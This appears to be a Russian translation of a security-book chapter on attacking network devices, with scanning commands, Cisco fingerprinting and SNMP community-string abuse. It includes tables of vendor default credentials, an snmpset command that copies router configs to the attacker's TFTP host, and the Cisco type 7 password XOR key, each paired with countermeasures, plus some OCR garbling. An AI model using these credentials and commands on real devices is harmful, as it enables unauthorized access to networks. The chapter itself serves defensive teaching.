Защита информации в Интернет

         

Сетевые устройства


Компьютерная сеть — это кровеносная система любой компании. Сотни тысяч километров медных и оптоволоконных кабелей опоясывают стены корпоративной Америки, действуя подобно сосудам, доставляющим обогащенную кислородом кровь к мозгу. Однако во всем есть и другая сторона: типичную корпоративную локальную или глобальную сеть (LAN или WAN соответственно) трудно назвать безопасной. С учетом постоянно растущего значения компьютерных сетей сегодня нельзя пренебрежительно относится к этой проблеме, так как удачное проникновение злоумышленника в вашу сеть подчас может оказаться губительным для самого существования компании. В большинстве случаев овладение сетью означает то же самое, что и возможность перехвата почтовых сообщений, финансовых данных, перенаправление потока информации на неавторизованные системы. И все это возможно даже несмотря на применение частных виртуальных сетей (VPN — Virtual Private Network).
Администратор сети должен понимать, что угроза утечки информации может исходить из любого источника, начиная с архитектурных недостатков и возможности SNMP-сканирования и заканчивая наличием используемых по умолчанию учетных записей, позволяющих кому угодно получить доступ к сетевым устройствам, или "потайных ходов" в базе данных MIB. В этой главе мы обсудим, как злоумышленники могут установить факт присутствия в сети сетевых устройств, выполнить их идентификацию, а затем взломать их и получить несанкционированный доступ.
Наибольшую опасность для безопасности системы составляют человеческие ошибки. Необходимо помнить, что любое устройство, такое как совместно используемый концентратор, коммутатор или маршрутизатор, может быть либо неправильно настроено, либо даже неправильно спроектировано, обеспечивая тем самым скрытый потайной ход к вашим корпоративным сокровищам. Поэтому необходимо позаботиться о выявлении всех таких устройств и позаботиться о блокировании любых несущих угрозу изъянов, пока до них не добрались злоумышленники.

Исследование

Процесс обнаружения сетевого устройства не имеет принципиальных различий с описанными в данной книге методами обнаружения любых других компьютерных систем. Скорее всего взломщик начнет со сканирования портов, пытаясь найти какие-то "зацепки". Обнаружив открытые порты, он выполнит сбор маркеров и инвентаризацию сетевых ресурсов с помощью утилиты netcat. Если открыт порт UDP 161, скорее всего тут же последует попытка использования протокола SNMP (Simple Network Management Protocol), поскольку неправильно настроенные SNМР-устройства очень часто "выбалтывают" самую сокровенную информацию о своей конфигурации любому, кто ею заинтересуется.





Обнаружение


На этом этапе применяется сканирование портов с использованием разнообразных инструментов, о которых мы уже довольно подробно говорили в предыдущих главах. В большинстве случаев для выполнения всех работ будет вполне достаточно таких утилит, как traceroute, netcat и nmap.

Прослеживание маршрута с помощью traceroute


С помощью утилит traceroute или tracert, входящих в комплект поставки UNIX и NT, соответственно, можно определить основные маршруты, по которым проходят пакеты от вашего узла к другому узлу Internet или внутренней сети TCP/IP. Обладая этой информацией, можно обнаружить очень важный элемент сетевой инфраструктуры — маршрутизатор. Именно маршрутизатор чаше всего становится "мишенью № 1" в попытках злоумышленника обследовать структуру сети. Ниже приведен пример работы утилиты traceroute, из которого видно, как пакеты проходят от одного маршрутизатора (или брандмауэра) к другому.

[sm@tsunami sm]$ traceroute www.destination.com
traceroute to www.destination.com (192.168.21.3),30 hops max,40 byte packets
1 happy (172.29.10.23) 6.809 ms 6.356 ms 6.334 ms
2 rtrl.internal.net (172.30.20.3) 36.488 ms 37.428 ms 34.300 ms
3 rtr2.internal.net (172.30.21.3) 38.720 ms 38.037 ms 35.077 ms
4 core.externalp.net (10.134.13.1) 49.188 ms 54.787 ms 72.094 ms
5 nj.externalp.net (10.134.14.2) 54.420 ms 64.554 ms 52.191 ms
6 sfo.externalp.net (10.133.10.2) 54.726 ms 57.647 ms 53.813 ms
7 lax-rtr.destination.com (192.168.0.1) 55.727 ms 57.039 ms 57.795 ms
8 www.destination.com (192.168.21.3) 56.182 ms 78.542 ms 64.155 ms

Зная, что перед представляющим интерес узлом находится узел 192.168.0.1, можно предположить, что он представляет собой не что иное, как маршрутизатор, управляющий распределением пакетов по узлам сети. Именно поэтому на это устройство (равно как и на другие, попавшие в выявленный маршрут прохождения пакетов), злоумышленник обратит внимание в первую очередь. (Строго говоря, скорее всего, что объектом его внимания станет вся подсеть, в которую входит данное устройство.) Однако знание IP-адреса маршрутизатора не влечет за собой автоматического получения сведений об изъянах в его архитектуре и настройке. Для того чтобы получить такие сведения, необходимо прибегнуть к сканированию портов, определению операционной системы, а также сбору любой дополнительной информации, которая может дать ключ к взлому системы зашиты устройства.

Контрмеры: защита от прослеживания маршрута


Для того чтобы запретить маршрутизатору Cisco отвечать на запросы со значением TTL больше допустимого, воспользуйтесь следующей командой.
access-list 101 deny icmp any any 11 0
Если же вы хотите разрешить прохождение ICMP-запросов, поступающих лишь с определенных доверенных сетей, и запретить маршрутизатору отвечать на запросы, отправляемые из других сетей, воспользуйтесь следующими командами.

access-list 101 permit icmp any 172.29.20.0 0.255.255.255 11 0
access-list 101 deny ip any any log

Сканирование портов


С помощью утилиты nmар, к которой мы очень часто прибегаем в подобных ситуациях, из операционной системы Linux можно выяснить, какие порты маршрутизатора (192.168.0.1) находятся в состоянии ожидания запросов. По комбинации обнаруженных портов часто можно судить о типе маршрутизатора. В табл. 10.1 перечислены стандартные порты TCP и UDP, используемые на самых популярных сетевых устройствах.  Для того чтобы идентифицировать тип устройств, можно прибегнуть к сканированию портов, а затем проанализировать полученные результаты. Не забывайте о том, что в различных реализациях комбинации портов могут отличаться от приведенных.

Таблица 10.1. Стандартные TCP- и UDP-порты некоторых сетевых устройств

Устройство
TCP
UDP
Маршрутизаторы Cisco
21 (ftp) 
23 (telnet) 
79 (finger) 
80 (http) 
512 (exec) 
513 (login) 
514 (shell) 
1993 (Cisco SNMP) 
1999 (Cisco ident) 
2001 
4001 
6001 9001 (XRemoute)
0 (tcpmux) 
49 (domain) 
67 (bootps) 
69 (tftp) 
123(ntp) 
161 (snmp)
Коммутаторы Cisco
23 (telnet) 
7161
0 (tcpmux) 
123(ntp) 
161 (snmp)
Маршрутизаторы Bay
21 (ftp) 
23 (telnet)
7 (echo) 
9 (discard) 
67 (bootps) 
68 (bootpc) 
69 (tftp) 
161 (snmp) 
520 (route)
Маршрутизаторы Ascend
23 (telnet)
7 (echo) 
9 (discard)
161 (snmp) 
162 (snmp-trap) 
514 (shell) 
520 (route)

Так, если вас интересуют маршрутизаторы Cisco, выполните сканирование портов 1-25, 80, 512-515, 2001, 4001, 6001 и 9001. Полученные при этом результаты помогут определить изготовителя устройства и его тип.

[/tmp]# nmap -pl-25,80,512-515,2001,4001,6001,9001 192.168.0.1
Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com,
www.insecure.org/nmap/)
Interesting ports on (192.168.0.1):
Port State Protocol Service
7 open tcp echo
9 open tcp discard
13 open tcp daytime
19 open tcp chargen
23 filtered tcp telnet
2001 open tcp dc
6001 open tcp Xll:l

С помощью еще одного из наших любимых средств, утилиты SuperScan Робина Кейра (Robin Keir), сканирование можно выполнить из системы NT и найти все открытые порты маршрутизатора. Эта программа позволяет задать список портов, который впоследствии можно применять при каждой операции сканирования (рис. 10.1).



Рис. 10.1. Утилита SuperScan позволяет задать множество портов, благодаря чему значительно облегчается их последующее сканирование

После выбора требуемого перечня портов можно приступать к сканированию сети (172 .16. 255. 0) на предмет поиска устройств Cisco.


Полученная картина использования портов подталкивает к мысли о том. что в данном случае мы имеем дело с маршрутизатором Cisco. Конечно, пока этого нельзя сказать со всей определенностью, поскольку мы еще не установили тип используемой операционной системы. Для того чтобы подтвердить или опровергнуть наши предположения, необходимо провести предварительный сбор информации TCP, которую мы подробно рассматривали в главе 2.
Характерной особенностью большинства маршрутизаторов Cisco является также наличие приглашения User Access Verification при подключении к портам vty (23 и 2001). Попробуйте связаться с данными портами устройства с помощью утилиты telnet и, если это действительно маршрутизатор Cisco, вы увидите следующее приглашение.

User Access Verification 
Password:

Идентификация операционной системы
В предыдущем примере для того чтобы удостовериться в том, что мы не ошиблись, идентифицировав узел 192.168 . 0.1 как маршрутизатор Cisco, можно прибегнуть к утилите птаар и использовать ее для определения типа операционной системы (ОС). Поскольку порт TCP 13 открыт, мы можем просканировать узел с помощью утилиты nmap, укатав параметр -О, и установить, под управлением какой операционной системы работает узел. В данном случае, как видно в приведенном ниже листинге, эта система — Cisco IOS 11.2.

[root@source /tmp]# nmap -О -р!3 -n 192.168.0.1
Starting nmap V. 2.12 by Fyodor {fyodor@dhp.com,
www.insecure.org/nmap/)
Warning: No ports found open on this machine, OS detection will be
MUCH less reliable
Interesting ports on (172.29.11.254):
Port State Protocol Service
13 filtered tcp daytime
Remote operating system guess: Cisco Router/Switch with IDS 11.2

Всегда, когда это возможно, для идентификации типа операционной системы сканируйте только один порт. Многие операционные системы, в том числе IOS компании Cisco и Solaris компании Sun, известны тем, что в качестве ответа возвращают отправителю пакеты, не соответствующие стандартам RFC, что может привести к зависанию отдельных систем. Для получения более подробной информации об исследовании стека читайте главу 2, "Сканирование".

Контрмеры: защита от идентификации типа ОС


Методы обнаружения и предупреждения попыток сканирования с целью идентификации типа операционной системы подробно описаны в главе 2.

Утечка информации в пакетах Cisco




Рис. 10.2. Подобный изъян имеется во всех моделях маршрутизаторов Cisco, что значительно облегчает их идентификацию

Информация об этом изъяне системы зашиты Cisco впервые была опубликована в бюллетене Bugtraq Джоелом (JoeJ) из группы Rhino9. Он заключается в том, каким образом устройства Cisco отвечают на TCP-запросы SYN, передаваемые через порт 1999 (порт, используемый службой ident Cisco). Неофициальный ответ компании Cisco на эту проблему был опубликован в бюллетене Bugtraq Джоном Башински (John Bashinski) <jbash@cc.COM>.
Метод получения информации тривиален. Для того чтобы определить, является ли то или иное устройство маршрутизатором Cisco, просто просканируйте TCP-порт с номером 1999. С применением утилиты nmap эта задача решается следующим образом.
[root@source /tmp]# nmap -nvv -p1999 172.29.11.254
После этого с помощью специального программного обеспечения нужно перехватить ответный пакет RST/ASK. Как видно из рис. 10.2, среди данных этого пакета можно обнаружить слово cisco.

Контрмеры: защита маршрутизаторов Cisco от утечки информации


Самый простой способ защиты от утечки информации заключается в том, чтобы использовать команду, запрещающую поступление пакетов TCP через порт 1999. Она может иметь следующую форму.

access-list 101 deny tcp any any eq 1999 log!
Блокирование сканирования устройств Cisco

Инвентаризация и сбор маркеров Cisco


Если по всем признакам устройство ведет себя как устройство Cisco, то, скорее всего, так оно и есть. Однако в некоторых случаях данное утверждение все же оказывается ложным — лишь обнаружения ожидаемых открытых портов недостаточно, чтобы быть уверенным в том, что вы имеете дело именно с Cisco. Однако можно воспользоваться некоторыми дополнительными проверками, характерными именно для этой платформы.

Служба finger и порты виртуальных терминалов 2001, 4001, 6001


На некоторые запросы служба finger компании Cisco может выдавать совершенно бесполезную (для пользователя или администратора, но не для злоумышленника) информацию. Виртуальные терминалы vty Cisco (обычно с номером 5) отвечают на простой запрос finger -1 @<узел>, но в выдаваемых результатах нет ничего информативного, за исключением лишь того, что по самому факту получения ответа можно судить о том, что мы имеем дело с маршрутизатором Cisco.
Еще одним методом получения информации является обращение к портам 2001, 4001 и 6001, которые в маршрутизаторах Cisco предназначены для управления устройством. С помощью утилиты netcat взломщик может подключиться к любому из этих портов и проверить, будет ли получена какая-либо информация от узла. В большинстве случаев полученную тарабарщину трудно назвать информацией, однако если подключиться к этим портам с помощью броузера, указав, например, адрес вида 172.29.11.254:4001, то результат может выглядеть следующим образом.

User Access Verification Password: Password: Password: % Bad passwords

Такое сообщение поможет злоумышленнику удостовериться в том, что он имеет дело с устройством Cisco.

Служба XRemote Cisco (9001)


Еще одним часто используемым портом Cisco является TCP-порт службы XRemote с номером 9001. Эта служба позволяет узлам вашей сети подключаться с помощью клиента XSession к маршрутизатору (обычно через модем). Когда злоумышленник подключается к этому порту с помощью утилиты netcat, то устройство, как правило, передает обратно идентификационный маркер, как показано в следующем примере.

C:\>nc-nvv 172.29.11.254 9001
(UNKNOWN) [172.29.11.254] 9001 (?) open
-— Outbound XRemote service —-
Enter X server name or IP address:

Контрмеры: защита от сбора информации об устройствах Cisco


Единственный метод, позволяющий предотвратить инвентаризацию устройств Cisco. заключается в ограничении доступа с помощью списка ACL. Можно либо использовать установленное по умолчанию правило "очистки", либо в явной форме запретить подключение к соответствующим портам, чтобы все подобные попытки регистрировались в контрольном журнале. Для этого можно воспользоваться командами следующего вида.
access-list 101 deny tcp any any 79 log
или
access-list 101 deny tcp any any 9001

SNMP

Протокол SNMP (Simple Network Management Protocol) предназначен для облегчения работы администратора по управлению устройствами сети. Однако огромной проблемой протокола SNMP версии 1 (SNMPvl) всегда была абсолютная незащищенность узла, на котором работали средства поддержки этого протокола. В исходной версии использовался только один механизм обеспечения безопасности, основанный на использовании специачьных паролей, называемых строками доступа (community string). В ответ на жалобы о наличии слабых мест в системе обеспечения безопасности была быстро разработана значительно улучшенная версия SNMP (SNMFV2). В этой версии для аутентификации сообщений, передаваемых между серверами и клиентами SNMP, используется алгоритм хэширования MD5. Это позволяет обеспечить как целостность пересылаемых данных, так и возможность проверки их подлинности. Кроме того, SNMPv2 допускает шифрование передаваемых данных. Это ограничивает возможности злоумышленников по прослушиванию трафика сети и получению строк доступа. Однако в то же время ничто не мешает администраторам использовать на маршрутизаторах простейшие пароли.
Третья версия протокола SNMP (SNMPv3)  является текущим стандартом и позволяет достичь необходимого уровня безопасности устройств, но его принятие, по-видимому, затянется на довольно длительное время. Достаточно изучить типичную сеть, чтобы убедиться в том, что большинство устройств работает под управлением даже не SNMPv2, a SNMPvl! Более подробная информация о протоколе SNMPv3 находится по адресу http://www.ietf.org/ html.charters/snmpv3-charter.html. Однако ни одна из версий протокола SNMP не ограничивает возможности использования администраторами строк доступа, предлагаемых разработчиками. Как правило, для них устанавливаются легко угадываемые пароли, которые хорошо известны всем, кто хоть немного интересуется подобными вопросами.
Еще хуже то, что во многих организациях протокол SNMP практически не учитывается в реализуемой политике безопасности. Возможно, это происходит из-за того, что протокол SNMP работает поверх UDP (который, как правило, отсутствует в стеке протоколов), или потому, что о его возможностях известно лишь немногим администраторам. В любом случае необходимо констатировать, что вопросы обеспечения безопасности при использовании протокола SNMP часто ускользают из поля зрения, что нередко дает возможность взломщикам проникнуть в сеть.
Однако перед тем, как перейти к подробному рассмотрению изъянов протокола SNMP, давайте кратко познакомимся с основными понятиями, которые с ним связаны. Строки доступа могут быть одного из двух типов — позволяющие только чтение (тип read) и позволяющие как чтение, так и запись (read/write). При использовании строк доступа SNMP, позволяющих только чтение, можно лишь просматривать сведения о конфигурации устройства, такие как описание системы, TCP- и UDP-соединения, сетевые адаптеры и т.д. Строки доступа, предоставляющие права чтения и записи, обеспечивают администратору (и, конечно, злоумышленнику) возможность записывать информацию в устройство. Например, с использованием всего одной команды SNMP администратор может изменить контактную системную информацию, snmpset 10.12.45.2 private .1.3.6.1.2.1.1 s Smith

Маршрутизаторы Ascend


По умолчанию маршрутизаторы Ascend обеспечивают доступ по протоколу SNMP с помощью строк доступа public (для чтения — read) и writ: спя чтения и записи — read/write). Изъян в системе защиты, связанный с SNMP-доступом для чтения и записи, впервые был обнаружен специалистами из Network Associates. Inc.

Контрмеры: защита маршрутизаторов Ascend


Для того чтобы изменить установленные по умолчанию строки доступа на маршрутизаторе Ascend, просто воспользуйтесь командой меню Ethernet>ModConflg>SNMP Options.

Маршрутизаторы Bay


Маршрутизаторы компании Bay NT по умолчанию предоставляют доступ по протоколу SNMP, контролируемый на уровне пользователей как для чтения, так и для записи. Для того чтобы воспользоваться этой возможностью, достаточно попытаться использовать установленное по умолчанию пользовательское имя User без пароля. В командной строке маршрутизатора введите команду  show snmp comm types
Эта команда позволяет просматривать имеющиеся строки доступа. То же самое с помощью диспетчера Site Manager может проделать любой пользователь (команда меню Protocols>IP>SNMP>Communities).

Контрмеры: защита маршрутизаторов Bay


В диспетчере Site Manager, который входит в состав программного обеспечения маршрутизаторов компании Bay Networks, выберите команду меню Protocols>IlP1* SNMPoCommunities. После этого выберите команду Community>Edit Community и измените строки доступа.

Контрмеры: защита SNMP


Если вы разрешаете осуществлять SNMP-доступ через пограничный брандмауэр к какому-либо одному устройству, а в использовании протокола SNMP для доступа к остальным узлам сети нет острой необходимости, то можно просто внести соответствующие ограничения в список ACL маршрутизатора.
access-list 101 deny udp any any eq 161 log ! Блокирование трафика SNMP
Еще проще заменить строки доступа трудно угадываемыми паролями. Например, в устройствах Cisco это достигается с помощью следующей простой команды.
snmp-server community <трудно угадываемый пароль> RO
Кроме того, всегда, когда это возможно, запрещайте SNMP-доступ для чтения с возможностью записи.
Для снижения риска применения протокола SNMP можно воспользоваться также и рекомендацией самой компании Cisco (http://www.cisco.com/univercd/cc/-td/doc/cisintwk/ics/cs003.htm):
"К сожалению, строки доступа SNMP передаются по сети в виде незашифрованного текста... По этой причине отказ от использования сервера SNMP, поддерживающего передачу сообщений trap, позволит предотвратить перехват этих сообщений взломщиками (передаваемых между диспетчерами и агентами SNMP) и их использование для получения строк доступа."

Если в строке доступа вы хотите использовать символ ?, то перед ним необходимо нажать комбинацию клавиш <Ctrl-V>. Например, для того чтобы установить строку доступа, равную secret? 2me, введите secret<Ctrl-V>?2me.

В табл. 10.2 перечислены все основные разработчики сетевых устройств и строки доступа, используемые ими по умолчанию для чтения и для чтения/записи.

Таблица 10.2. Используемые по умолчанию пароли сетевых устройств

Компания-разработчик
Строка доступа для чтения
Строка доступа для чтения/записи
Ascend
public
write
Bay
public
private
Cisco
public
private
3Com
public, monitor
manager, security
Ниже приведен список часто встречаемых строк доступа.
 public  private  secret  world  read  network  community  write  cisco  all private  admin  default  password  tivoli  openview  monitor  manager  security Помимо перечисленных строк доступа, используемых по умолчанию, многие компании в качестве таковых используют собственное название. Например, руководствуясь этим принципом, издательство Osborne может использовать в качестве строки доступа слово osborne (но это только по секрету).

"Потайные" ходы

"Тайная" учетная запись (backdoor account) — это одна из наиболее сложных проблем. Такие учетные записи создаются разработчиками для того, чтобы при отладке обходить случайно заблокированные учетные записи администраторов, однако гораздо чаще они предоставляют злоумышленникам возможность проникновения в вашу систему. В последние годы было выявлено немало таких встроенных пользовательских имен и паролей, позволяющих получить доступ ко многим популярным сетевым устройствам, включая 3Com, Bay, Cisco и Shiva. Суть проблемы заключается в том, чтобы найти все подобные устройства и запретить или ограничить к ним доступ.



Установленные по умолчанию учетные записи

Одним из чаще всего обнаруживаемых изъянов является установленные по умолчанию имя пользователя и пароль. Практически все разработчики поставляют на рынок сетевые устройства, позволяющие получить с помощью подобной учетной записи доступ на уровне пользователя, а иногда — и администратора (подробнее см. табл. 10.3). Поэтому вашим первым шагом при настройке таких устройств должно быть немедленное удаление таких учетных записей.

Таблица 10.3. Стандартные пользовательские имена и пароли, которые необходимо изменить

Устройство
Имя
Пароль
Уровень
Маршрутизатор Bay
User Manager
<нет> <нет>
Пользователь Администратор
Коммутатор Bay 350T Bay SuperStack II 3COM
NetlCs Security
admin
 read
 write 
debug 
tech
 monitor
 manager 
security
<нет> Security
synnet 
synnet
 synnet
 synnet
 tech 
monitor
 manager 
security
Администратор Администратор
Администратор Пользователь Администратор Администратор
Пользователь Администратор Администратор
Cisco
(telnet)
  (telnet) 
enable 
(telnet)
с (Cisco 2600)
CISCO
cisco 
cisco routers
Пользователь
 Пользователь
 Администратор
Shiva
Webramp Motorola CableRouter
root 
Guest
wradmin 
cablecom
<нет>
 <нет>
trancell
 router
Администратор Пользователь
Администратор
 Администратор

Коммутаторы 3Com


Коммутаторы 3Com очень часто имеют несколько встроенных по умолчанию учетных записей с разным уровнем привилегий — admin, read, write, debug, test и monitor. Если эти встроенные учетные записи окажутся незащищенными, то с их помощью злоумышленник сможет получить пользовательские или даже административные привилегии.

Контрмеры: защита встроенных учетных записей коммутаторов 3Com


Для того чтобы изменить пароль, введите с консоли устройства команду system password.

Маршрутизаторы Bay


Маршрутизаторы Bay имеют пару установленных по умолчанию учетных записей, некоторые из которых к тому же по умолчанию не защищены паролем. Поскольку при настройке операционной системы удобно пользоваться учетными записями User и Manager, в которых пароль отсутствует, то довольно часто администраторы оставляют эти учетные записи незащищенными. Это позволяет злоумышленнику с помощью утилиты telnet получить прямой доступ к устройству и через FTP переписать на свой компьютер конфигурационные файлы. Например, на многих коммутаторах Bay 350T имеется учетная запись NetiCs без пароля, которая представляет собой прекрасный "потайной ход" в систему. 

Контрмеры: защита встроенных учетных записей маршрутизаторов Bay


 Установите пароли для учетных записей User и Manager.  Отключите поддержку служб FTP и telnet.  Добавьте список ACL, чтобы разрешить подключение с использованием FTP и telnet только строго определенным узлам.  Ограничьте возможности учетной записи User, запретив использование протоколов FTP, TFTP и telnet.

Пароли маршрутизаторов Cisco


На разных моделях Cisco неоднократно обнаруживали различные пароли, используемые по умолчанию для доступа с виртуального терминала vty, включая такие легко угадываемые, как cisco и cisco routers. Кроме того, на некоторых моделях были обнаружены установленные по умолчанию пароли cisco, позволяющие получить удаленный доступ к устройству. Как вы понимаете, такие пароли нужно как можно быстрее заменить на более сложные. Наконец, на некоторых моделях Cisco 2600, произведенных до 24 апреля 1998 года, по умолчанию использовался пароль, состоящий из одной-единственной буквы с.

Контрмеры: защита маршрутизаторов Cisco


Даже если вы измените все обнаруженные легко угадываемые пароли, установленные производителем по умолчанию, это вовсе не означает, что ваше устройство Cisco надежно защищено. Поскольку компания Cisco не применяет мощных алгоритмов шифрования паролей, используемых для доступа с терминалов vty, то, обнаружив их тем или иным способом, злоумышленник сможет без труда взломать эти пароли. Несмотря на это, каждый владелец маршрутизатора Cisco должен как можно скорее выполнить следующие операции.
 Убедитесь в том, что установлена служба шифрования паролей (service password-encryption).  Выполните команду enable password ") <пароль>, чтобы зашифровать пароль vty хотя бы с помощью слабого алгоритма шифрования Cisco (это все же лучше, чем передача пароля в виде незашифрованного текста).

Устройства Webramp


Джеймс Игелхоф (James Egelhof) и Джон Стенли (John Stanley) установили, что устройства Webramp Entre (в версии ISDN) имеют установленные по умолчанию пользовательское имя wradmin и пароль trancell. Эта учетная запись предоставляет злоумышленнику доступ к устройству на уровне администратора, позволяя вносить изменения в конфигурацию, изменять пароль и т.д. Вполне вероятно, что подобные недостатки имеются и в других продуктах Webramp. 

Контрмеры: защита устройств Webramp


В данном случае самый простой метод защиты заключается в изменении административного пароля. Более сложное решение, предложенное Игелхофом и Стенли, заключается в ограничении доступа с использованием службы telnet через порт WAN. Это можно осуществить несколькими способами, однако мы можем порекомендовать следующий. Находясь в среде программного обеспечения устройства Webramp включите режим Visible Computer для каждого активного модемного порта и направьте его на ложный IP-адрес, например, на немаршрутизируемый адрес, такой как 192.168.100.100. После этого отключите оба режима Divert Incoming.

Подключение к кабельному модему Motorola через порт 1024 с помощью telnet


Как сообщалось в майском выпуске (1998 г.) бюллетеня Bugtraq, программное обеспечение Cable Router компании Motorola позволяет кому угодно подключиться к скрытому порту telnet. Как выяснилось, с портом TCP 1024 связан ожидающий поступления запросов демон telnet, и, используя установленные по умолчанию пользовательское имя cablecom и пароль router, через эту службу можно получить административный доступ к этому устройству. Хотя на практике кабельные модемы от компании Motorola встречаются нечасто, авторы оставили описание этого изъяна, поскольку он наглядно демонстрирует возможность проникновения в систему через такие "неожиданные" порты, как TCP 1024. Не допускает ли ваш модем скрытый доступ через службу telnet к какому-либо другому порту?

Устранение изъянов


Возможность хакинга сетевых устройств в значительной степени зависит от объема и качества проведенных в сети защитных мероприятий. Если вы выбрали пароли для подключений telnet и строки доступа SNMP, которые трудно подобрать, ограничили использование служб FTP и TFTP, а также активизировали режим регистрации всех событий, имеющих отношение к безопасности (при условии, конечно, что кто-то регулярно просматривает эти журналы), то описанные ниже изъяны вряд ли окажутся опасными для вашей сети. С другой стороны, если ваша сеть достаточно обширна и имеет сложную для управления структуру, в ней могут оказаться узлы, безопасность которых, мягко говоря, далека от идеальной. В связи с этим нелишним будет выполнить дополнительную проверку и лишний раз застраховаться от неожиданностей.

Устаревшая база данных MIB Cisco и Ascend


Устройства компаний Cisco и Ascend поддерживают базу данных MIB устаревшего формата, которая через открытые строки доступа, обеспечивающие чтение и запись, позволяет любому пользователю получить конфигурационный файл с использованием TFTP. Если речь идет об устройствах Cisco, то эта база данных называется OLD-CISCO-SYS-MIB. Ввиду того что в этом файле содержится пароль для доступа к устройству Cisco (он зашифрован весьма примитивным способом — с помощью операции XOR), взломщик может легко расшифровать его и использовать для реконфигурации вашего маршрутизатора или коммутатора.
Для того чтобы проверить, уязвим ли ваш маршрутизатор, можно выполнить описанные ниже операции. Воспользовавшись программой IP Network Browser компании SolarWinds (http: //www. solarwinds .net), укажите строки доступа SNMP, обеспечивающие чтение и запись, и просканируйте требуемое устройство или всю сеть. После завершения сканирования вы увидите информацию обо всех обнаруженных устройствах и данных SNMP (рис. 10.3).
Если интересующее вас устройство сгенерировало ответ на SNMP-запрос и соответствующий элемент списка заполнен информацией, представленной в виде древовидной структуры, выберите из меню команду Nodes^View Config File. При этом запустится сервер TFTP и, если в системе защиты устройства имеется изъян, можно получить конфигурационный файл Cisco, как показано на рис. 10.4.



Рис. 10.3. Программа IP Network Browser компании SolarWinds очень наыядно представляет информацию, которую можно полунить с помощью легко угадываемых строк доступа SNMP

Получив конфигурационный файл, остается лишь расшифровать пароль. Для этого достаточно щелкнуть на кнопке Decrypt Password панели инструментов, как показано на рис. 10.5.



Рис. 10.4. Модуль Cisco Config Viewer позволяет легко получить конфигурационный файл устройства Cisco. Для этого достаточно подобрать строку доступа, обеспечивающую чтение и запись



Рис. 10.5. С использованием модуля Cisco Config Viewer компании SolarWinds очень просто расшифровать пароли Cisco, содержащиеся в конфигурационном файле

Если же вы хотите проверить, является ли ваше устройство уязвимым, не прибегая к "хакерским методам", то можно воспользоваться базой данных Cisco, находящейся по адресу ftp://ftp.cisco.com/pub/mibs/supportlists/. Найдите свое устройство и перепишите на свой компьютер файл supportlist.txt. Затем вам остается проверить, поддерживается ли этим устройством база данных MIB старого формата, т.е. OLD-CISCO-SYS-MIB. Если это так, то вам придется принимать дополнительные меры по защите маршрутизатора.
В системе UNIX конфигурационный файл Cisco можно получить с помощью единственной команды. Если вам известна строка доступа для чтения и записи устройства с адресом 10.11.12.13 и на вашем компьютере с IP-адресом, скажем 192.168.200.20, запущен сервер TFTP, то можно воспользоваться следующей командой, snmpset 10.11.12.13 private 1.3.6.1.4.1.9.2.1.55.192.168.200.20 s config.file
В конфигурационном файле Cisco имеется два элемента, которые представляют особый интерес для злоумышленника, — пароль разрешения доступа (enable password) и пароль telnet-аутентификации. Оба эти элемента хранятся в конфигурационном файле в зашифрованном виде. Однако, как мы увидим несколько позже, расшифровать их достаточно просто. Ниже приведена строка, содержащая зашифрованный пароль разрешения доступа.
enable password 7 08204Е
А так выглядят строки, содержащие пароль telnet-аутентификации.

line vty 0 4
password 7 08204Е
login

Для того чтобы загрузить конфигурационный файл устройств Ascend, также можно воспользоваться командой snmpset следующего вида.

snmpset 10.11.12.13 private
1.3.6.1.4.1.529.9.5.3.0 а
snmpset 10.11.12.13 private
1.3.6.1.4.1.529.9.5.4.0 s config.file

Контрмеры: защита базы данных MIB


Обнаружение


Самый простой способ обнаружения SNMP-запросов на запись в базу данных MIB заключается в использовании утилиты syslog, настроенной на регистрацию каждого запроса. Для этого сначала на компьютере с системой UNIX или NT нужно запустить демон syslog, а затем настроить его таким образом, чтобы он регистрировал соответствующие события. На устройстве Cisco это можно сделать с помощью следующей команды. logging 196.254.92.83

Защита


Для того чтобы воспрепятствовать злоумышленнику получить старую базу MIB, можно предпринять следующие меры.
 Используйте список ACL, чтобы разрешить применение протокола SNMP только для определенных узлов или сетей. На устройствах Cisco для этого нужно воспользоваться командой, имеющей следующий вид.

access-list 101 permit udp 172.29.11.0 0.255.255.255 any eq 161 log
 Включите режим доступа с помощью SNMP только для чтения (ко). На устройствах Cisco для этого нужно воспользоваться командой, имеющей следующий вид. snmp-server community <сложная строка доступа> RO  Лучше всего вообще отключите доступ через SNMP, воспользовавшись следующей командой, no snmp-server

Слабость алгоритмов шифрования паролей Cisco


Устройства Cisco, по крайней мере на момент написания данной книги, имели слабый алгоритм шифрования, используемый как при хранении пароля vty, так и пароля доступа. Оба пароля хранятся в конфигурационном файле устройств, а их взлом не представляет особого труда. Для того чтобы узнать, является ли ваш маршрутизатор уязвимым, просмотрите конфигурационный файл с помощью следующей команды.
show config
Если вы увидите строку, подобную показанной ниже, значит, пароль доступа к устройству легко расшифровать.
enable password 7 08204Е
С другой стороны, если в конфигурационном файле вы увидите запись, подобную приведенной ниже, можете не волноваться — пароль доступа надежно защищен (чего, к сожалению, нельзя сказать о пароле telnet).
enable secret 5 $1$.pUt$w8jwdabc5nHk1IHFWcDav
Эта запись означает, что грамотный администратор Cisco вместо используемой по умолчании команды enable password применил команду enable secret, активизирующую режим шифрования пароля по алгоритму MD5, который обеспечивает большую надежность, чем стандартный алгоритм Cisco. Однако, насколько нам известно, шифрование паролей с помощью MD5 распространяется только на пароль доступа, но неприменим для шифрования таких паролей, как пароли vty.

line vty 0 4
password 7 08204Е
login

Слабость встроенного алгоритма шифрования Cisco объясняется тем, что он основан на использовании операции XOR и постоянного инициализирующего значения (seed value). Шифруемые пароли Cisco могут иметь до 11 алфавитно-цифровых символов разного регистра. Первые два байта пароля выбираются случайным образом из диапазона от 0x0 до 0xF, а оставшиеся представляют собой строку, полученную путем объединения с помощью операции XOR пароля и заданного блока символов dsfd;kfoA,.iyewrkldJKDHSUB.
Расшифровать такой пароль можно с помощью одной из множества программ, имеющихся в Internet. . Первая из них, написанная хакером Хоббитом (Hobbit) (http://www.avian.org), представляет собой сценарий командной оболочки. Вторая программа, ciscocrack.c, написана на языке С хакером Сфайксом (SPHiXe). Ее можно найти в многочисленных статьях, посвященных анализу паролей Cisco. Третьей программой является приложение Palm Pilot, созданное доктором Маджем (Dr. Mudge), одним из участников группы L0pht.  И наконец, модуль расшифровки пароля Cisco был создан компанией SolarWinds. В системе NT этот модуль функционирует как часть программного пакета управления сетью. Его можно найти по адресу http://www.solarwinds.net.

Модуль расшифровки паролей Cisco компании SolarWinds


